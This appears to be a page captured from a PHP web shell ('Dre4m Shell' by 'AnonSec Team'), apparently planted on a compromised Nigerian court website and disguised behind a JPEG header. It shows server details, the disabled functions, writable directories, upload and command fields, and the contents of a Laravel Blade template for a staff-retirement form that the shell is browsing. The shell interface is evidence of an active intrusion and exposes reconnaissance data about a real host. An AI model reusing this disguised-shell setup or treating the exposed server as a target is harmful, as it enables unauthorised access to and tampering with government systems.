ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.144.16.71
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/grp.nicn.gov.ng/storage/framework/views/f48496149498712ed7da8c12b2f53ea9d7e57503.php

<?php $__env->startSection('pageTitle'); ?>
  Staff Due For Retirement
<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
 
  <div class="box-body">
        <div class="row">
            <div class="col-md-12"><!---1st col-->
<h4 class="" style="text-transform:uppercase">Add staff For Retirement</h4>
                <?php if(count($errors) > 0): ?>
					<div class="alert alert-danger alert-dismissible" role="alert">
						<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
						</button>
						<strong>Error!</strong>
						<?php $__currentLoopData = $errors->all(); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $error): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
							<p><?php echo e($error); ?></p>
						<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
					</div>
                <?php endif; ?>

						<?php if(session('msg')): ?>
                  <div class="alert alert-success alert-dismissible" role="alert">
                      <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
                      </button>
                      <strong>Success!</strong>
											<?php echo e(session('msg')); ?>

				    			</div>
            <?php endif; ?>

            <?php if(session('err')): ?>
                  <div class="alert alert-danger alert-dismissible" role="alert">
                      <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span>
                      </button>
                      <strong>Success!</strong>
											<?php echo e(session('err')); ?>

				    			</div>
            <?php endif; ?>

            </div>


				<div class="col-md-12" ><!---2nd col-->
<form method="post"  style="margin-top:10px; padding-top:20px;"  id="mainform" name="mainform">
            <?php echo e(csrf_field()); ?>

 <?php if($CourtInfo->courtstatus==1): ?>
        <div class="col-md-4"style="padding-top:20px;">
            <div class="form-group">
            <label for="staffName">Court</label>
            <select name="court" id="court" class="form-control court">

               <option>Select court</option>
               <?php $__currentLoopData = $court; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $courts): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
               <?php if($courts->id == session('anycourt')): ?>
               <option value="<?php echo e($courts->id); ?>" selected="selected"><?php echo e($courts->court_name); ?></option>
               <?php else: ?>
               <option value="<?php echo e($courts->id); ?>"><?php echo e($courts->court_name); ?></option>
               <?php endif; ?>
               <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            </select>
            </div>
            </div>
          <?php else: ?>
            <input type="hidden" id="court" name="court" value="<?php echo e($CourtInfo->courtid); ?>">
          <?php endif; ?>

            <?php if($CourtInfo->divisionstatus==1 && Auth::user()->is_global==1): ?>
                <div class="col-md-4" style="padding-top:20px;">
                    <div class="form-group">
                        <label for="staffName">Division</label>
                        <select name="division" id="division" class="form-control">
                            <option value="">Select Division</option>
                                <?php $__currentLoopData = $courtDivisions; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $div): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                    <option value="<?php echo e($div->divisionID); ?>"  <?php if(old('division') == $div->divisionID): ?> selected <?php endif; ?>>
                                        <?php echo e($div->division); ?>

                                    </option>
                                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </select>
                    </div>
                </div>
            <?php else: ?>
                <div class="col-md-4">
                    <div class="form-group">
                        <label>Division</label>
                            <input type="text" class="form-control" id="divisionName" name="divisionName" value="<?php echo e($curDivision->division); ?>" readonly>
                    </div>
                </div>
                <input type="hidden" id="division" name="division" value="<?php echo e(Auth::user()->divisionID); ?>">
            <?php endif; ?>

            <?php if($CourtInfo->courtstatus==1): ?>
                <div class="col-md-4" style="padding-top:20px;">
                    <div class="form-group">
                        
                        <select name="staffName" id="staffName" class="form-control">
                            <option>Select Staff Name</option>
                            <?php $__currentLoopData = $staffList; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <?php if($list->ID == session('staffsession')): ?>
                                    <option value="<?php echo e($list->ID); ?>" selected>
                                        <?php echo e($list->first_name); ?> <?php echo e($list->surname); ?> <?php echo e($list->othernames); ?>

                                    </option>
                                <?php else: ?>
                                    <option value="<?php echo e($list->ID); ?>"> 
                                        <?php echo e($list->surname); ?> <?php echo e($list->first_name); ?> <?php echo e($list->othernames); ?> -  <?php echo e($list->fileNo); ?>

                                    </option>
                                <?php endif; ?>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </select>
                    </div>
                </div>
            <?php else: ?>
                <div class="col-md-4" style="padding-top:20px;">
                    <div class="form-group">
                
                        <input type="hidden" id="fileNo" name="fileNo" value="<?php if($staff !=''): ?><?php echo e($staff->ID); ?><?php endif; ?>"/>
                        <label class="control-label">Staff Names Search</label>
                        <input type="text" id="userSearch" autocomplete="off" list="enrolledUsers"  class="form-control"  onchange="StaffSearchReload()">
                        
                        <datalist id="enrolledUsers" name="staff">
                            <?php $__currentLoopData = $staffData; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $list): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <option value="<?php echo e($list->ID); ?>">
                                    <?php echo e($list->fileNo); ?>:<?php echo e($list->surname); ?> <?php echo e($list->first_name); ?> <?php echo e($list->othernames); ?>

                                </option>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                        </datalist>
                        
                    </div>
			    </div>
            <?php endif; ?>

			<div class="col-md-6">
				<div class="form-group">
				  <label for="fileNo">File No</label>
				  <input type="Text"  class="form-control" readonly value="<?php if($staff !=''): ?><?php echo e($staff->fileNo); ?><?php endif; ?>"/>
				</div>
			</div>
<div class="col-md-6">
                    <div class="form-group">
                      <label for="fileNo">Name</label>
                      <input type="Text" name="name"  class="form-control" readonly value="<?php if($staff !=''): ?><?php echo e($staff->surname); ?> <?php echo e($staff->first_name); ?> <?php echo e($staff->othernames); ?><?php endif; ?>"/>
                    </div>
                  </div>
									<div class="col-md-6">
										<div class="form-group">
										<label for="staffFullName">Employee Type</label>
                    <input type="Text" name="employeeType" id="employeeType" class="form-control" readonly value="<?php if($staff !=''): ?><?php echo e($staff->employmentType); ?><?php endif; ?>"/>
										</div>
									</div>

								 

                  <div class="col-md-6">
										<div class="form-group">
										  <label for="step">Grade</label>
										  <input type="Text" name="oldGrade" id="oldGrade" class="form-control" readonly value="<?php if($staff !=''): ?><?php echo e($staff->grade); ?><?php endif; ?>"/>
										</div>
									</div>
								

									<div class="col-md-6">
										<div class="form-group">
										  <label for="step">Step</label>
										  <input type="Text" name="oldStep" id="oldstep" class="form-control" readonly value="<?php if($staff !=''): ?><?php echo e($staff->step); ?><?php endif; ?>"/>
										</div>
									</div>


								  <div class="col-md-6">
										<div class="form-group">
										  <label for="vehicle">Retirement Date</label>
										  <input type="Text" name="dueDate" id="dueDate" class="form-control" value="<?php echo e(old('dueDate')); ?>" readonly/>
										</div>
									</div>


							<div align="right" class="box-footer">
								<button class="btn btn-success" name="add" type="submit"> Update</button>
						 </div>
				</div>
        </div><!-- /.col href="<?php echo e(url('/variable/view/')); ?>"-->
    </div><!-- /.row -->
  </form>
  
  <div class="table-responsive" style="font-size: 12px; margin-top:20px;">
      <div class="text-center" style="font-size: 20px;">RETIRED STAFF'S</div>
                <table class="table table-bordered table-striped table-highlight">
                    <thead>
                        <tr bgcolor="#c7c7c7">
                            <th width="1%">S/N</th>
                            <th>STAFF</th>
                            <th>FILENO</th>
                            <th>DIVISION</th>
                            <th>GRADE</th>
                            <th>STEP</th>
                            <th>RETIREMENT DATE</th>
                            <th>MONTH</th>
                            <th>YEAR</th>
                        </tr>
                    </thead>

                    <?php if($staffForRetirementList && count($staffForRetirementList) > 0): ?>
                    <?php $__currentLoopData = $staffForRetirementList; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $b): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                        <tr>
                            <td><?php echo e($key + 1); ?> </td>
                            <td><?php echo e($b->surname); ?> <?php echo e($b->first_name); ?> <?php echo e($b->othernames); ?></td>
                            <td><?php echo e($b->fileNo); ?></td>
                            <td><?php echo e($b->division); ?></td>
                            <td><?php echo e($b->old_grade); ?></td>
                            <td><?php echo e($b->old_step); ?></td>
                            <td><?php echo e($b->due_date); ?></td>
                            <td><?php echo e($b->month_payment); ?></td>
                            <td><?php echo e($b->year_payment); ?></td>
                        </tr>
                    <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
                    <?php else: ?>
                        <tr>
                            <td colspan="4" class="text-center text-danger"> No Records found...</td>
                        </tr>
                    <?php endif; ?>

                </table>
            </div>
  
<?php $__env->stopSection(); ?>
<?php $__env->startSection('styles'); ?>
<link rel="stylesheet" type="text/css" href="<?php echo e(asset('assets/css/datepicker.min.css')); ?>">
<?php $__env->stopSection(); ?>
<?php $__env->startSection('scripts'); ?>
<script src="<?php echo e(asset('assets/js/jquery-ui.min.js')); ?>"></script>

<script type="text/javascript">

  
    
	
function  StaffSearchReload()
{	
	document.getElementById('fileNo').value=document.getElementById('userSearch').value;
	document.forms["mainform"].submit();
	//alert("jdjdjdeedd");
	return;
}

</script>

  <script type="text/javascript">

  $( function() {
      $("#dateofBirth").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'});
      $("#dueDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'});
      $("#incrementalDate").datepicker({changeMonth: true,changeYear: true,dateFormat: 'yy-mm-dd'});
    } );

</script>


<script type="text/javascript">
    $(document).ready(function() {
    // alert('danger')

        $('select[name="division"]').on('change', function () {
            var division_id = $(this).val();
            // alert(division_id)
            
            if (division_id) {
                $.ajax({
                    url: "<?php echo e(url('/division/staff/ajax')); ?>/"+division_id,
                    type: "GET",
                    dataType: "json",
                    success: function(data) {
                       
                        var d = $('datalist[name="staff"]').html('');
                        $.each(data, function(key, value){
                            $('datalist[name="staff"]').append(`<option value=${value.ID}> 
                                ${value.fileNo} : ${value.surname}  ${value.first_name}  ${value.othernames}  </option>`);
                        });
                    }
                });
            }else{
                alert('danger')
            }

        }); // end sub category

    });
</script>





<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH C:\xampp\htdocs\nicngrp\resources\views/dueForArrears/retirement.blade.php ENDPATH**/ ?>

Anon7 - 2022
AnonSec Team